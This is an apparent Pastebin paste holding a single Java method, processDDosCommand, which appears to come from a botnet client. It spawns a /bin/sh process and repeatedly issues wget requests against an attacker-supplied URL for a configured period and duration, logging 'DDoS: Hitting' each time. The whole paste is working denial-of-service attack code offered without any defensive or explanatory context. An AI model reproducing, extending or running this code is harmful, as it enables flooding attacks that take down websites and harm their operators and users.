Guest User

Untitled

a guest
Apr 27th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 0.88 KB | None | 0 0
  1.     private void processDDosCommand(DDoSInstructions value) {
  2.         Runtime run = Runtime.getRuntime() ;
  3.         Process pr;
  4.         BufferedWriter inputCommand;
  5.         try {
  6.             pr = run.exec("/bin/sh");
  7.             inputCommand = new BufferedWriter(new OutputStreamWriter(pr.getOutputStream()));           
  8.             inputCommand.newLine();
  9.             inputCommand.flush();
  10.             long start = System.currentTimeMillis(), current = start, lastTime=start;          
  11.             do {
  12.                 if((current-lastTime) > 1000 * value.getPeriodSend()){
  13.                     lastTime = current;
  14.                     inputCommand.write("wget -O tempWgetFile.txt "+ value.getURL() + "; rm tempWgetFile.txt");
  15.                     inputCommand.newLine();
  16.                     inputCommand.flush();
  17.                     System.out.println("DDoS: Hitting " + value.getURL());
  18.                 }
  19.                 current = System.currentTimeMillis();
  20.             } while((current - start) < (1000 *60 * value.getRunningTime()));
  21.         } catch (IOException e) {
  22.             e.printStackTrace();
  23.         }
  24.     }
Add Comment
Please, Sign In to add comment